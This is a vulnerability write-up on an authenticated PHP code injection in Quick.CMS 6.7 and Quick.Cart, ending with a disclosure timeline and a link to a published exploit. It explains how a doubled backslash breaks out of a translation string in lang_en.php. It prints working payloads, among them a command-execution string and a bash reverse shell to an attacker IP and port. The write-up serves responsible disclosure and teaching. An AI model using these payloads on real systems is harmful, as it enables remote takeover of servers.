This is a story of a PHP code injection vulnerability I have found in Quick.CMS v.6.7 that leads to an authenticated Remote Code Execution. It also affects Quick.Cart product, since both of them share a lot of functionalities.
As most of the interesting features implemented in CMSes are usually reserved for authenticated users, this is where I started to look around first. Once logged in, Quick.CMS allows its’ users some usual Content Management System’s actions, such as creating posts, installing some plugins etc. It also allows for modifications of existing language translations or creating brand-new ones. This caught my attention.
First, I tried some basic PHP injections and noticed that code is indeed planted in the website, however it is commented out.
This got me thinking – what if the reason why the input is being commented out is actually because it already lands inside a <?php ?> block and there’s no need to declare it?
The white-box approach
Instead of trying out different inputs and examining application’s behavior (which would be a natural step in case of a black-box pentest) I have decided to take a white-box approach, since I was testing the product locally and had access to all the source code.
In the /database directory of the project I have found a lang_en.php file, which was storing all of the application’s translations and their values. Here’s a snippet of the code:
Translations visible only in back-end. It does not require translation
$lang[‘Failed_login_wait_time’] = “Limit of login attempts exceeded
Please try again in 15 minutes”;
$lang[‘Add_files’] = “Add files”;
$lang[‘Address’] = “Redirect to URL”;
$lang[‘Advanced_options’] = “Advanced options:”;
$lang[‘Back_end_only’] = “Back end only”;
$lang[‘Cancel’] = “Cancel”;
Therefore, if I were to inject double quotation mark and a semicolon (“;) I would close the declaration of $lang[‘Back_end_only’] variable and could inject arbitrary PHP code. There are two caveats though – one: the quotation mark is being escaped by the application, and two: we need to comment out anything after our injection point not to mess up the rest of the PHP code. Let me show you. If the input is:
Back end only”; system(‘ls’);
the resulting code in lang_en.php would be:
$lang[‘Back_end_only’] = “Back end only\”; system(‘ls’);”;
This is obviously bad, since we haven’t jumped out of the variable declaration. To overcome this we can use a simple trick.
\ + \ = Code injection!
Backslashes are used to escape special characters in code. Since the application adds a backslash before a quotation mark, what would’ve happened if we were to add one as well? The output would look something like this – \\” and it would be interpreted as an escaped backslash and a quotation mark – just what we wanted. Now all we have to do is to comment out everything after our injection point (not to mess up the PHP code) and we’re golden. Our initial PHP code injection could look something like this (notice the // at the end of line to comment out the rest of the code):
Back end only\”; system(‘ls’); //
This would result in the following code in the lang_en.php file:
$lang[‘Back_end_only’] = “Back end only\\”; system(‘ls’); //”; //”;
And upon page refresh – boom, we’ve got code execution!
Rev shell anyone?
Now, code execution is great, but what every white-hat hacker really wants is an interactive shell connection with the target, which speeds up the post-exploitation enumeration process and is generally more convenient. All we have to do is to inject the following code et voila:
Back end only\”; system(‘/bin/bash -c \’bash -i >& /dev/tcp/<IP>/<PORT> 0>&1\”); //
Lastly, I have created a full PoC exploit of the aforementioned vulnerability which takes as input target URL, login, password and attacker’s IP and port and automates the whole process. All we have to do is open our favorite listener and wait for the connection.
The exploit code is available here: https://www.exploit-db.com/exploits/49494
- 28/12/2020 – Vulnerability identification, contacting the vendor,
- 28/12/2020 – Vendor response,
- 22/01/2021 – Security fix for Quick.CMS and Quick.Cart released,
- 29/01/2021 – Public disclosure.